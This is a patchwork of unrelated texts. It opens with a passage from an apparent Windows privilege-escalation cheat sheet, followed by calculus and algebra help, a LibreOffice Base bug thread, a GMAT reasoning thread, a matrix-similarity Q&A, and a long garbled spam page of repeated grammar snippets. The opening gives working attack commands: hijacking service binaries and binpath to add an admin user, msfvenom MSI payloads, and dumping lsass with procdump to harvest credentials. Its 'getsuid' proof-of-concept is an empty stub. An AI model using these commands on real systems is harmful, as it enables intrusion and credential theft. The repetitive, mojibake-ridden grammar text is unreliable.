That means your user has write access. So you can just rename the .exe file and then add your own malicious binary. And then restart the program and your binary will be executed instead. This can be a simple getsuid program or a reverse shell that you create with msfvenom.
Here is a POC code for getsuid.

#include <stdlib.h>
int main ()
{
int i;
return 0;
}

We then compile it with mingw like this:
i686-w64-mingw32-gcc winexp.c -lws2_32 -o exp.exe
Move the exploit binary in place of the original binary file.
Okay, so now that we have a malicious binary in place we need to restart the service so that it gets executed. We can do this by using wmic or net the following way:
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name].
The binary should now be executed in the SYSTEM or Administrator context.

b.Windows services:

Replacing 'binpath' property: Tool to use: accesschk.exe from sysinternals.
There is a detailed explanation for this above.
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -qwcu "Users" *
accesschk.exe -qwcu "Everyone" *

You must get a 'RW' with SERVICE_ALL_ACCESS
sc qc <service-name>
sc config <service-name> binpath= "net user virgil P@ssword123! /add"
sc stop <service-name>
sc start <service-name>
sc stop <service-name>
sc start <service-name>
This should add a new user to administrators group. Try it when you have upnphost service.
This can also be used to get reverse shell as SYSTEM

3. Always install elevated:

If the two registry values are set to 1, we can install a malicious msi file.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Generate shell code:
msfvenom -p windows/adduser USER=virgil PASS=P@ssword123! -f msi -o exploit.msi
msfvenom -f msi-nouac -p windows/exec cmd="C:\Users\testuser\AppData\Local\Temp\Payload.exe" > exploit.msi
Run the Msi like

Dll hijacking :

This is one method which I personally dont like doing but still I had to. Try out dll hijacking when you have any of these application installed
If an application loads a DLL and it does not give a fully qualified path, windows will search for the dll in a particular order and execute it if it finds it.
Fuzzysecurity is the best guide which I follow for this topic.

c:>psexec -i -s -d cmd.exe
This will popup a new cmd prompt, so better have rdp to system

AT:

>at 13:20 /interactive cmd
>net use \\targetserver /user:DOM\user pass
>net time \\targetserver
13:20 c:\temp\evil.bat

C:\>net use \\targetserver /user:DOM\user pass
C:\>copy procdump.exe \\targetserver\c$C:\>copy procdump.bat \\targetserver\c$
C:\>procdump.exe –ma lsass %CNAME%.dmp
C:\>at \\targetserver 13:30 C:\procdump.bat

This was helpful image that’s sums up the kernel exploits, not sure from which blog I got it, but credits to the person who made this. You can actually combine this with the kernel method I mentioned above to directly get the compiled exploits.

This was the flow I follow overall for any windows based privilege escalation. I suggest you to make you own checklist and flow.

Miscellaneous:
One automated tool which I would recommend you to try out is PSAttack.

format: plain


text:
1. ## Differentiation

I am having a problem with these two questions

1) f(t) =(3t-2) sin2t

2) f(theta) = 2cos(3theta-1)/3 theta

Help would be appreciated

2. Originally Posted by Jaffa
I am having a problem with these two questions

1) f(t) =(3t-2) sin2t

2) f(theta) = 2cos(3theta-1)/3 theta

Help would be appreciated
OK but ... what is the question you are supposed to answer ?

3. Sorry, did not make myself clear,I have to differentiate the functions

4. The first question is an application of the product rule, the second is an application of the quotient rule. Check them out in your book.

5. Originally Posted by Jaffa
I am having a problem with these two questions

1) f(t) =(3t-2) sin2t

2) f(theta) = 2cos(3theta-1)/3 theta

Help would be appreciated
$f(t) = (3t - 2) * sin (2t)$
Using the product and chain rules:

$f'(t) = (3t - 2) * 2 cos (2t) + sin (2t) * 3$
$f'(t) = 2*(3t - 2) cos (2t) + 3 sin (2t)$

$f(\theta) = \frac{2 cos (3\theta -1)}{3\theta}$
Using the chain rule and quotient rule:
$f'(\theta) = \frac{3\theta * -6 sin (3\theta-1) - 6 cos (3\theta-1)}{(3\theta)^2}$
$f'(\theta) = \frac{-18\theta * sin (3\theta-1) - 6 cos (3\theta-1)}{9\theta^2}$
$f'(\theta) = \frac{-6\theta * sin (3\theta-1) - 2 cos (3\theta-1)}{3\theta^2}$


text:
## Elementary Algebra

We first create a common denominator. Then, we use the distributive property to simplify: $18(\frac{2}{3}+\frac{1}{9})$ =$18(\frac{2(3)+1(1)}{9})$ =$18(\frac{6+1}{9})$ =$18(\frac{7}{9})$ =$2(\frac{7}{1})$ =$14$


text:
# base crashes if like query has blank

I'm getting a crash whenever the parameter to a query has a space in it. A simplified version of the query is:

SELECT * FROM "My_Table" WHERE ( UPPER ( "Title" ) LIKE UPPER ( '%' || ? || '%' ) )

This works fine if the parameter has no spaces but with spaces there's about a 45 second hang followed by a crash. I looked for debug log options but couldn't find any. Also couldn't see the crash report when I chose to send one. Also couldn't append any info to the crash report so doubt that it's useful to developers without knowing what triggered the crash. The Windows application log just showed that soffice.bin crashed.

The table is very simple, one key integer ID field with autovalues and 6 varchar text fields. There are currently only 540 records in the table. The "Title" field used in the simplified query has no null entries and no non ascii characters that I know of.

There is of course a simple work around. When I enter the query and replace spaces with _ it works. Incidentially, the documentation I found still showed :param instead of ?. That gave me a lot of fun. Another aside, I had planned on improving my comparison by using Difference(). I had it all worked out when I found that Firebird doesn't support the Difference function.

This is a trivial application of course. I'm a retired software engineer playing around to fight boredom.

Thank you,

Wayne

edit retag close merge delete

Sort by » oldest newest most voted

Hello,

There is a bug in Base using Firebird when converted from HSQLDB. This bug concerns sub forms but also involves using :param vs ?.

To fix (one-time only needed per .odb) can be found in this post -> How to unzip ODB file and edit the content.xml file to fix Firebird bug?. After the fix, :param works with the exception of running in direct mode. In that case you do need to use ?.

As for the problem with the space it is a bug and should be reported here -> Bugzilla if not done by someone else already.

Another workaround, similar to yours, is to surround the data with apostrophes when entering - 'search for me'

As for Difference function, I only find this in a few DB's such as SQL Server and Azure. Not certain it is a standard.

more

Thank you. I followed the post and fixed the :param bug but of course I had already replaced :param with ? in my queries. I didn't find anything like my problem on Bugzilla with blanks in the parameter so I posted it. I'm surprised this hasn't surfaced before if it is reproducible.

( 2019-09-03 00:26:39 +0200 )edit

Just a note. It is helpful to others if the actual link to the reported bug is given.

Will post here - tdf#127299

( 2019-09-03 00:34:20 +0200 )edit


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# Prohibitively high tariffs on salmon from Winterland allow

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Prohibitively high tariffs on salmon from Winterland allow [#permalink]

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17 Sep 2012, 06:50
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Prohibitively high tariffs on salmon from Winterland allow companies in the Republic of Osum to sell salmon without any foreign competition. Some economists believe that the tariffs partly explain why Osum salmon costs one dollar more than Winterland’s salmon. If the government removed the tariffs, consumers would either purchase more Winterland salmon than they would Osum salmon or else Osum companies would have to reduce the price of their salmon.

The conclusion reached in the last sentence depends upon which of the following assumptions?

A. The legislature of Osum proposes tariffs and the Prime Minister ratifies them.
B. Winterland has passed a countervailing tariff against salmon from the Republic of Osum.
C. A constitutional amendment is not needed to remove the tariffs.
D. Although the Republic of Osum has lower tariffs on salmon from other countries besides Winterland, these tariffs are just as effective in eliminating all salmon imports.
E. Osum salmon is not over one dollar better in quality than is Winterland salmon.
[Reveal] Spoiler: OA

Last edited by Daeny on 17 Sep 2012, 22:14, edited 1 time in total.
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Re: Prohibitively high tariffs on salmon from Winterland allow [#permalink]

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17 Sep 2012, 12:51
3
KUDOS
This argument depends on the assumption that if there are no tariffs and Osum salmon costs more than Winterland one, Winterland salmon would win favour of consumers. Although Osum salmon is more expensive, consumers may still buy it if it has better quality. Therefore we should expect that Osum salmon higher price cannot be explained by it better quality.
A. There's nothing to do with the proposal of tariffs. INCORRECT
B. Tariffs against Osum salmon only affect Winterland market. INCORRECT
C. The requirement to remove the tariffs is out of scope.
D. Not relevant.
E. CORRECT. As stated above, if Osum salmon is not over one dollar better in quality than is Winterland salmon, there's no reason for consumers to waste money.
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Last edited by doraemonbeo on 18 Sep 2012, 05:35, edited 1 time in total.
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Re: Prohibitively high tariffs on salmon from Winterland allow [#permalink]

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17 Sep 2012, 20:46
@doraemonbeo : Doesn't the option E say that the Osum salmon is not better in quality than Winterland? Assuming the tariffs are removed people would get Winterland's salmon because it is $1 cheaper & same quality as Osum's salmon. IMO it is C. Intern Joined: 06 Mar 2012 Posts: 35 Location: India Concentration: Operations, International Business GPA: 3.4 Followers: 1 Kudos [?]: 57 [0], given: 12 Re: Prohibitively high tariffs on salmon from Winterland allow [#permalink] ### Show Tags 17 Sep 2012, 21:58 +1 E , if the osum salmon is not a dollar better in quality than the winterland's , there is no reason for people to keep buying the Osum's low quality salmon unless the prices for Osum salmon is drastically reduced. Director Affiliations: SAE Joined: 11 Jul 2012 Posts: 508 Location: India Concentration: Strategy, Social Entrepreneurship GMAT 1: 710 Q49 V37 GPA: 3.5 WE: Project Management (Energy and Utilities) Followers: 44 Kudos [?]: 288 [1] , given: 269 Re: Prohibitively high tariffs on salmon from Winterland allow [#permalink] ### Show Tags 18 Sep 2012, 03:00 1 This post received KUDOS +1 E Premise - Prohibitively high tariffs on salmon from Winterland allow companies in the Republic of Osum to sell salmon without any foreign competition. Some economists believe that the tariffs partly explain why Osum salmon costs one dollar more than Winterland’s salmon Conclusion - If the government removed the tariffs, consumers would either purchase more Winterland salmon than they would Osum salmon or else Osum companies would have to reduce the price of their salmon. We need to find the assumption on which the conclusion is based. Osum salmon is costlier than Winterland's but still people can buy osum' salmon if it is better in quality than winterland's salmon, but here we are concluding that people won't buy osum's salmon suggesting that it is not as good as winterland's in quality Option E tis our answer _________________ First Attempt 710 - http://gmatclub.com/forum/first-attempt-141273.html Intern Joined: 30 Mar 2012 Posts: 6 Followers: 0 Kudos [?]: 19 [1] , given: 18 Re: Prohibitively high tariffs on salmon from Winterland allow [#permalink] ### Show Tags 20 Sep 2012, 02:12 1 This post received KUDOS +1 E Let's say the price in Winterland is$4 and tariff is $1 --> the last price that consumers have to pay is$5 while the price in Osum is $5 with no tariff. => The price in Osum is actually$1 higher than in Winterland due to the tariff.

Now tariff gone, price in Winterland is $4 vs$5 in Osum

=> Conclusion: either consumers will buy more salmon in Winterland ( because it's $1 cheaper ) or companies in Osum have to reduce price (to compete with companies in Winterland) But what if comsumers still willing to pay higher price to buy salmon in Osum because of better quality? So choice E states that this difference in quality is not worth more than$1, which means consumers may afford only $0.5 for that better quality. So Either they buy$4-Winterland or $4.5-Osum, not$5.

=> This leads to the conclusion
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Re: Prohibitively high tariffs on salmon from Winterland allow [#permalink]

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Re: Prohibitively high tariffs on salmon from Winterland allow [#permalink]

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06 Jan 2014, 12:03
Daeny wrote:
Prohibitively high tariffs on salmon from Winterland allow companies in the Republic of Osum to sell salmon without any foreign competition. Some economists believe that the tariffs partly explain why Osum salmon costs one dollar more than Winterland’s salmon. If the government removed the tariffs, consumers would either purchase more Winterland salmon than they would Osum salmon or else Osum companies would have to reduce the price of their salmon.

Republic of Osum - Prohibitively High tariff on salmon from Winterland allows the country to seel without foreign competition.

Economist - Osum salmon > Winterland’s salmon. { Due to tariff }

If government removes tariff there will be 2 option available for Osum companies -

(1) Osum companies would have to reduce the price

(2) Consumers would either purchase more Winterland salmon

The conclusion reached in the last sentence depends upon which of the following assumptions?

A. The legislature of Osum proposes tariffs and the Prime Minister ratifies them.

Out of scope...

B. Winterland has passed a countervailing tariff against salmon from the Republic of Osum.

Not relevant.

C. A constitutional amendment is not needed to remove the tariffs.

Out of scope.

D. Although the Republic of Osum has lower tariffs on salmon from other countries besides Winterland, these tariffs are just as effective in eliminating all salmon imports.

True , but we don't have sufficient data to claim " all salmon imports. "...

E. Osum salmon is not over one dollar better in quality than is Winterland salmon.

Possible...

The passage mentions2 option available for Osum companies to retain their sales / profit level...
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Re: Prohibitively high tariffs on salmon from Winterland allow [#permalink]

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22 Mar 2017, 04:12
A. The legislature of Osum proposes tariffs and the Prime Minister ratifies them. ( Wrong answer : The concluding statement of the argument has been put forward as a conditional dependent clause of “If X then Y” type. Hence it is just a speculative scenario )
B. Winterland has passed a countervailing tariff against salmon from the Republic of Osum. ( Wrong Answer : This is irrelavent to the topic of discussion.)
C. A constitutional amendment is not needed to remove the tariffs. ( Wrong Answer : irrelevant to the argument at hand.)
D. Although the Republic of Osum has lower tariffs on salmon from other countries besides Winterland, these tariffs are just as effective in eliminating all salmon imports. ( Wrong Answer : The argument is only concerned with Winterland Salmon.)
E. Osum salmon is not over one dollar better in quality than is Winterland salmon.( Correct Answer : If it is not better then there is no reason why Osum salmon should cost dollar more than Winterland salmon)
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Question on similar matrices and diagonalization.

Let $A$ and $B$ be two $n\times n$ matrices with entries in a field $k$.

If $A$ and $B$ are similar, then can each one be obtained from the other via a combination of elementary row and column operations? Is the converse true?

I recall learning an equivalence relation on the set of $m \times n$ matrices with entries in $k$ that defined $Q$ and $P$ to be equivalent if they can be obtained from each other via combinations of elementary row and column operations, and I recall learning that this characterization is equivalent to saying there exists an invertible $m \times m$ matrix $U$ and an invertible $n\times n$ matrix $V$ such that $Q=UPV$. Is similarity the same relation restricted to the set of $n \times n$ matrices?

Any invertible matrix can be written as a product of elementary operations. If you extend this arguement a bit, you'll see that, under the equivalence relation you've defined above, two matrices are equivalent if and only if they have the same rank.

If $A$ and $B$ are similar, then $A = M B M^{-1}$ for some invertible matrix $M$. Thus, if two matrices are similar then they are equivalent under your relation.

However, most matrices that have the same rank are not similar. From the Rational Canonical Form for Matrices, we know that every matrix is similar to a block diagonal matrix (called the Rational Canonical Form) where the blocks are the companion matrices of certian polynomials called invariant factors of the matrix. Two matrices are similar if and only if they have the same rational canonical form up to reorderings of the blocks. Equivalently, two matrices are similar if and only if they have the same multiset of invariant factors. Thus, by choosing the invariant factors appropriately, we can construct matrices that have the same rank but are not similar.

If the field has more than two elements, then a simpler argument is possible since similar matrices must have the same multiset of eigenvalues. However, we can choose diagonal matrices that have different sets of eigenvalues but still have the same rank. (This corresponds to the case where the invariant factors are linear polynomials.) The advantage of the above argument is that it works even for $\Bbb{F}_2$.

• It might be useful to stress that the rank (a discrete quantity with only a few possibilities) says almost nothing about similarity (which requires equality of all $n$ non-leading coefficients of the characteristic polynomials); at best it gives some information about the eigenvalue$~0$ (if it is one). So not only "it is possible for two matrices to have the same rank but not be similar", this condition happens almost all the time. Equivalence is an immensely coarser relation than similarity. – Marc van Leeuwen Apr 11 '15 at 19:13
• Good point. I made some edits based on your comment. – Qudit Apr 11 '15 at 19:24

Not always. Note that if you could find similar matrices by simple row/column interchanges, then you could easily diagonalize a symmetric real matrix, which means you can easily find its eigenvalues. But finding eigenvalues is a strictly iterative method and cannot be done in polynomial number of steps, because if you could find all eigenvalues, it would essentially mean you could completely determine the roots of a polynomial of degree $n$, but by Abel-Ruffini theorem, there exists no closed form expression for the roots of a polynomial of degree greater than $4$.

But suppose $A$ is a scalar matrix then any row interchange and subsequent column interchange will give you only $A$, so $A$ is similar only to itself.


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Context free grammar tutorial

Context free grammar for $L=\{a^n b c^n n \ge0. CFG notation specifies a context-free language that consists of terminals, nonterminals, a start symbol, and productions. The terminals are nothing more than tokens, Search Tutorials. Friday, 24 May 2013. C code to implement Context Free Grammar(CFG) /* C program to implement CFG(Context Free Grammar). */ #include. Algorithms for Compiler Design CONTEXT-FREE GRAMMAR How to prove that a language is not context-free. Context free grammar for the followings: Switch statement of C Language For loop of C-language :), 2 Informal Comments A context-free grammar is a notation for describing languages. It is more powerful than finite automata or REвЂ™s, but still cannot define. Before reading this article, we recommend you to first read about Pushdown Automata and Context Free Languages. Suppose we have a context free grammar G with CHAPTER 6 SIMPLIFICATION OF CONTEXT-FREE GRAMMARS AND NORMAL FORMS Selection from An Introduction to Formal Languages and books, tutorials, and more Search Tutorials. Friday, 24 May 2013. C code to implement Context Free Grammar(CFG) /* C program to implement CFG(Context Free Grammar). */ #include A language is said to be a regular language if it is generated by a regular A language is said to be context-free if it is generated by a context-free grammar. Search Tutorials. Friday, 24 May 2013. C code to implement Context Free Grammar(CFG) /* C program to implement CFG(Context Free Grammar). */ #include What is Context Free Grammar CFG for language of all even length strings? S в‡’ aSa bSb aSb bSaОµ. Now we can read any kind of even length string. The true power of regular expressions Thus every production rule of a context-free grammar has a non-terminal on the left hand side and an arbitrary symbol string Before reading this article, we recommend you to first read about Pushdown Automata and Context Free Languages. Suppose we have a context free grammar G with Grammar in Context 3: Split Text A: Lessons 1 вЂ“ 5 free epub Carol although ob //demo.rehdaselangor.com/groups/lessons-in-english-grammar-free-ebook">Lessons in What is Context Free Grammar CFG for language of all even length strings? S в‡’ aSa bSb aSb bSaОµ. Now we can read any kind of even length string. 1 Definite Clause Grammars. A Prolog Right-hand context notation is also useful to implicitly pass around a state Thanks for taking this tutorial. Parsing all context-free grammars using Earley's algorithm in Haskell. - ollef/Earley PDA & Context-Free Grammar in Automata Theory - PDA & Context-Free Grammar in Automata Theory courses with reference manuals and examples. An introduction to Parsing Expression Grammars with LPeg. or Parsing Expression Grammar, A PEG is most similar in classification to context free grammars, (Hindi) Context Free Grammars. 5 lessons, 38m 46s. Enroll. 4. Previous. Next. 1. CFG Basics (in Hindi) 9:56. 2. Stay tuned! More lessons will be added soon. A language is said to be a regular language if it is generated by a regular A language is said to be context-free if it is generated by a context-free grammar. Ambiguous Grammar / Ambiguous Languages: A CFG is said to be ambiguous if and only if it contains more than one derivation trees for same... Question Question Here is a context-free grammar that can be used to generate algebraic expressions via the arithmetic operators (addition, subtraction Converting a CFG to Chomsky Normal Form JP Prerequisite knowledge: Context-Free Languages Context-Free Grammars JFLAP Tutorial In this unit, we will look at the Context-Free Grammars (CFG) SITE : Deп¬Ѓnition of Context-Free Grammar A GFG (or just a grammar) G is a tuple G = (V,T,P,S) where 1. Question 3 Consider the context-free grammar block ! begin decls stmts end decls ! dec ; jdecls dec ; stmts ! st jst ; stmts where fbegin;end;dec;;;stgare the What is Context Free Grammar CFG for language of all even length strings? S в‡’ aSa bSb aSb bSaОµ. Now we can read any kind of even length string. Converting a CFG to Chomsky Normal Form JP Prerequisite knowledge: Context-Free Languages Context-Free Grammars JFLAP Tutorial In this unit, we will look at the Free source code and tutorials for Software developers and Architects.; Updated: 17 Dec 2011 Question 3 Consider the context-free grammar block ! begin decls stmts end decls ! dec ; jdecls dec ; stmts ! st jst ; stmts where fbegin;end;dec;;;stgare the An introduction to Parsing Expression Grammars with LPeg. or Parsing Expression Grammar, A PEG is most similar in classification to context free grammars, We learned about the class of context-free languages$\mathrm{CFL}$. It is characterised by both context-free grammars and pushdown automata so it is easy to show 23. Determine whether each of the following languages is context-free or not. If the lan-guage is context-free, give a grammar for the language; otherwise, use the A language is said to be a regular language if it is generated by a regular A language is said to be context-free if it is generated by a context-free grammar. Before reading this article, we recommend you to first read about Pushdown Automata and Context Free Languages. Suppose we have a context free grammar G with Context-free grammar for binary words. 1. Problem with forming a context-free grammar describing a language. 3. Compute context free grammars for twice the amount. 0. Context-free grammar for binary words. 1. Problem with forming a context-free grammar describing a language. 3. Compute context free grammars for twice the amount. 0. 2 Informal Comments A context-free grammar is a notation for describing languages. It is more powerful than finite automata or REвЂ™s, but still cannot define CFG notation specifies a context-free language that consists of terminals, nonterminals, a start symbol, and productions. The terminals are nothing more than tokens Objective. This mini-tutorial will answer these questions: What is Chomsky Normal Form? A context-free grammar is in . Chomsky Normal Form. if each rule has one of Defining context-free grammar Now let's focus on NLU, live online training, learning paths, books, interactive tutorials, and more. Start Free Trial. 2 Informal Comments A context-free grammar is a notation for describing languages. It is more powerful than finite automata or REвЂ™s, but still cannot define Context-free grammar We have seen the basic concept of context-free grammar in Chapter 3, Understanding Structure of Sentences. We have already seen the formal What is Context Free Grammars? Compiler Design What is the difference between regular language and. We learned about the class of context-free languages$\mathrm{CFL}$. It is characterised by both context-free grammars and pushdown automata so it is easy to show, Can someone explain to me what a context free grammar is? After looking at the Wikipedia entry and then the Wikipedia entry on formal grammar, I am left utterly and. Context Free Grammar Experts Exchange Tutorial- Using Definite Clause Grammars in SWI-Prolog. Ambiguous Grammar / Ambiguous Languages: A CFG is said to be ambiguous if and only if it contains more than one derivation trees for same... Before reading this article, we recommend you to first read about Pushdown Automata and Context Free Languages. Suppose we have a context free grammar G with. Defining context-free grammar Now let's focus on NLU, live online training, learning paths, books, interactive tutorials, and more. Start Free Trial. Can someone explain to me what a context free grammar is? After looking at the Wikipedia entry and then the Wikipedia entry on formal grammar, I am left utterly and (Hindi) Context Free Grammars. 5 lessons, 38m 46s. Enroll. 4. Previous. Next. 1. CFG Basics (in Hindi) 9:56. 2. Stay tuned! More lessons will be added soon. Grammatical Evolution: A Tutorial using gramEvol This document serves as a quick and informal tutorial on GE, 2.1.1 Informal introduction to context-free grammars Free source code and tutorials for Software developers and Architects.; Updated: 17 Dec 2011 3/06/2017В В· The Task. The first job is to build a CKY parser using this PCFG grammar learnt. Scan through a few of the training trees in the MASC dataset to get a Question 3 Consider the context-free grammar block ! begin decls stmts end decls ! dec ; jdecls dec ; stmts ! st jst ; stmts where fbegin;end;dec;;;stgare the 1 Definite Clause Grammars. A Prolog Right-hand context notation is also useful to implicitly pass around a state Thanks for taking this tutorial. Converting a NPDA to a Context-Free Grammar. Contents. Introduction Converting to a Context-Free Grammar An Exportable Example. Introduction. It is recommended, if 2 Informal Comments A context-free grammar is a notation for describing languages. It is more powerful than finite automata or REвЂ™s, but still cannot define Question 3 Consider the context-free grammar block ! begin decls stmts end decls ! dec ; jdecls dec ; stmts ! st jst ; stmts where fbegin;end;dec;;;stgare the Converting a NPDA to a Context-Free Grammar. Contents. Introduction Converting to a Context-Free Grammar An Exportable Example. Introduction. It is recommended, if Parsing in Python: Tools and Libraries (Part 2) These grammars are as powerful as context-free grammars, big data , python , parsing , tutorial. Like (6) Basic Parsing with Context-Free Grammars. 1. Some slides adapted from Julia Hirschberg and Dan Jurafsky  We learned about the class of context-free languages$\mathrm{CFL}$. It is characterised by both context-free grammars and pushdown automata so it is easy to show Ambiguous Grammar / Ambiguous Languages: A CFG is said to be ambiguous if and only if it contains more than one derivation trees for same... context free languages. Tutorial using definite clause grammars in swi prolog, a rule's head is a context free grammars Service Onan P216g Performer 16 Grammar in Context 3: Split Text A: Lessons 1 вЂ“ 5 free epub Carol although ob //demo.rehdaselangor.com/groups/lessons-in-english-grammar-free-ebook">Lessons in 1 Definite Clause Grammars. A Prolog Right-hand context notation is also useful to implicitly pass around a state Thanks for taking this tutorial. Let Lbe a context-free language (de ned by a grammar or a pushdown automaton). Given context-free grammar G, there exists an algorithm that decides if a Context free grammar for the followings: Switch statement of C Language For loop of C-language :) Context-free grammar We have seen the basic concept of context-free grammar in Chapter 3, Understanding Structure of Sentences. We have already seen the formal Context-free grammar Python Natural Language Processing C code to implement Context Free Grammar(CFG) Coders Hub. The true power of regular expressions Thus every production rule of a context-free grammar has a non-terminal on the left hand side and an arbitrary symbol string, Free source code and tutorials for Software developers and Architects.; Updated: 17 Dec 2011. Probabilistic context-free grammar Wikipedia What is Context Free Grammars? Compiler Design. PDA & Context-Free Grammar in Automata Theory - PDA & Context-Free Grammar in Automata Theory courses with reference manuals and examples., 1 Definite Clause Grammars. A Prolog Right-hand context notation is also useful to implicitly pass around a state Thanks for taking this tutorial.. Defining context-free grammar Now let's focus on NLU, live online training, learning paths, books, interactive tutorials, and more. Start Free Trial. Context-free grammars 2. Paradigms and theorems 3. Some heuristics 4. Applications 5. Conclusions. 4 1. Context free grammars. 5 What is a context free grammar? Grammatical Evolution: A Tutorial using gramEvol This document serves as a quick and informal tutorial on GE, 2.1.1 Informal introduction to context-free grammars Converting a NPDA to a Context-Free Grammar. Contents. Introduction Converting to a Context-Free Grammar An Exportable Example. Introduction. It is recommended, if 1 Definite Clause Grammars. A Prolog Right-hand context notation is also useful to implicitly pass around a state Thanks for taking this tutorial. Context-FreeGrammars A grammar is a set of rules for putting strings We focus on a special version of grammars called a context-free grammar (CFG). A context-free grammar consists of a number of productions. Each production has an abstract symbol called a nonterminal as its left-hand side, and a sequence of one Before reading this article, we recommend you to first read about Pushdown Automata and Context Free Languages. Suppose we have a context free grammar G with 3/06/2017В В· The Task. The first job is to build a CKY parser using this PCFG grammar learnt. Scan through a few of the training trees in the MASC dataset to get a a context free grammar solution. Give context-free grammars generating the following languages: (a) { w#x 114 lessons. Routers Defining context-free grammar Now let's focus on NLU, live online training, learning paths, books, interactive tutorials, and more. Start Free Trial. We learned about the class of context-free languages$\mathrm{CFL}$. It is characterised by both context-free grammars and pushdown automata so it is easy to show Question Question Here is a context-free grammar that can be used to generate algebraic expressions via the arithmetic operators (addition, subtraction Brute Force Parser вЂ“ Regular or Context Free Grammar. Contents. Definition How to Run Brute Force Parser on Regular or CFG. Definition. JFLAP defines a context free Context Free Grammar CFG for language of all evenвЂ¦ Finite State Automata in theory of automata; Finite automata to regular expression conversion inвЂ¦ context free languages. Tutorial using definite clause grammars in swi prolog, a rule's head is a context free grammars Service Onan P216g Performer 16 PDA & Context-Free Grammar in Automata Theory - PDA & Context-Free Grammar in Automata Theory courses with reference manuals and examples. Basic Parsing with Context-Free Grammars. 1. Some slides adapted from Julia Hirschberg and Dan Jurafsky  Context-Free Grammar A context-free grammar is G = (V,ОЈ,R,S), where V = an alphabet containing all grammar symbols; ОЈ = a subset of V, called the terminal symbols Context-Free Grammars (CFG) SITE : Deп¬Ѓnition of Context-Free Grammar A GFG (or just a grammar) G is a tuple G = (V,T,P,S) where 1. Context-FreeGrammars A grammar is a set of rules for putting strings We focus on a special version of grammars called a context-free grammar (CFG). 2 Informal Comments A context-free grammar is a notation for describing languages. It is more powerful than finite automata or REвЂ™s, but still cannot define CHAPTER 6 SIMPLIFICATION OF CONTEXT-FREE GRAMMARS AND NORMAL FORMS Selection from An Introduction to Formal Languages and books, tutorials, and more (Hindi) Context Free Grammars. 5 lessons, 38m 46s. Enroll. 4. Previous. Next. 1. CFG Basics (in Hindi) 9:56. 2. Stay tuned! More lessons will be added soon. 1 Definite Clause Grammars. A Prolog Right-hand context notation is also useful to implicitly pass around a state Thanks for taking this tutorial. Defining context-free grammar Now let's focus on NLU, live online training, learning paths, books, interactive tutorials, and more. Start Free Trial. Context-Free Grammar A context-free grammar is G = (V,ОЈ,R,S), where V = an alphabet containing all grammar symbols; ОЈ = a subset of V, called the terminal symbols Context-free grammar We have seen the basic concept of context-free grammar in Chapter 3, Understanding Structure of Sentences. We have already seen the formal Defining context-free grammar Now let's focus on NLU, live online training, learning paths, books, interactive tutorials, and more. Start Free Trial. Parsing in Python: Tools and Libraries (Part 2) These grammars are as powerful as context-free grammars, big data , python , parsing , tutorial. Like (6) Can someone explain to me what a context free grammar is? After looking at the Wikipedia entry and then the Wikipedia entry on formal grammar, I am left utterly and Before reading this article, we recommend you to first read about Pushdown Automata and Context Free Languages. Suppose we have a context free grammar G with Context-free grammar We have seen the basic concept of context-free grammar in Chapter 3, Understanding Structure of Sentences. We have already seen the formal context free languages. Tutorial using definite clause grammars in swi prolog, a rule's head is a context free grammars Service Onan P216g Performer 16 Ambiguous Grammar / Ambiguous Languages: A CFG is said to be ambiguous if and only if it contains more than one derivation trees for same... PDA & Context-Free Grammar in Automata Theory - PDA & Context-Free Grammar in Automata Theory courses with reference manuals and examples. Context-free grammar Python Natural Language Processing What is the difference between regular language and. PDA & Context-Free Grammar in Automata Theory - PDA & Context-Free Grammar in Automata Theory courses with reference manuals and examples., a context free grammar solution. Give context-free grammars generating the following languages: (a) { w#x 114 lessons. Routers. Context-free grammar Python Natural Language Processing Converting a NPDA to a Context-Free Grammar. Java Tutorial; C Programming; Management; Home. Compiler Design. What is Context Free Grammars? Compiler Design Context Free Grammar . 1 Definite Clause Grammars. A Prolog Right-hand context notation is also useful to implicitly pass around a state Thanks for taking this tutorial.. • What is the difference between regular language and • Ambiguity in Context free Grammar and Context free • context-free grammar Homework Set • CFG notation specifies a context-free language that consists of terminals, nonterminals, a start symbol, and productions. The terminals are nothing more than tokens Let Lbe a context-free language (de ned by a grammar or a pushdown automaton). Given context-free grammar G, there exists an algorithm that decides if a PDA & Context-Free Grammar in Automata Theory - PDA & Context-Free Grammar in Automata Theory courses with reference manuals and examples. Parsing all context-free grammars using Earley's algorithm in Haskell. - ollef/Earley A context-free grammar consists of a number of productions. Each production has an abstract symbol called a nonterminal as its left-hand side, and a sequence of one Martin Kay Context-free Grammar Problems with Regular Language Is English mophology a regular language? Bad question! We do not even know what English Context-free grammar We have seen the basic concept of context-free grammar in Chapter 3, Understanding Structure of Sentences. We have already seen the formal Context-Free Grammar A context-free grammar is G = (V,ОЈ,R,S), where V = an alphabet containing all grammar symbols; ОЈ = a subset of V, called the terminal symbols An introduction to Parsing Expression Grammars with LPeg. or Parsing Expression Grammar, A PEG is most similar in classification to context free grammars, Free source code and tutorials for Software developers and Architects.; Updated: 17 Dec 2011 A probabilistic context free grammar consists of terminal and nonterminal variables. Each feature to be modeled has a production rule that is assigned a probability Question 3 Consider the context-free grammar block ! begin decls stmts end decls ! dec ; jdecls dec ; stmts ! st jst ; stmts where fbegin;end;dec;;;stgare the PDA & Context-Free Grammar in Automata Theory - PDA & Context-Free Grammar in Automata Theory courses with reference manuals and examples. Context-free grammar for binary words. 1. Problem with forming a context-free grammar describing a language. 3. Compute context free grammars for twice the amount. 0. Objective. This mini-tutorial will answer these questions: What is Chomsky Normal Form? A context-free grammar is in . Chomsky Normal Form. if each rule has one of We learned about the class of context-free languages$\mathrm{CFL}\$. It is characterised by both context-free grammars and pushdown automata so it is easy to show

Ambiguous Grammar / Ambiguous Languages: A CFG is said to be ambiguous if and only if it contains more than one derivation trees for same... Java Tutorial; C Programming; Management; Home. Compiler Design. What is Context Free Grammars? Compiler Design Context Free Grammar .

Parsing in Python: Tools and Libraries (Part 2) These grammars are as powerful as context-free grammars, big data , python , parsing , tutorial. Like (6) (Hindi) Context Free Grammars. 5 lessons, 38m 46s. Enroll. 4. Previous. Next. 1. CFG Basics (in Hindi) 9:56. 2. Stay tuned! More lessons will be added soon.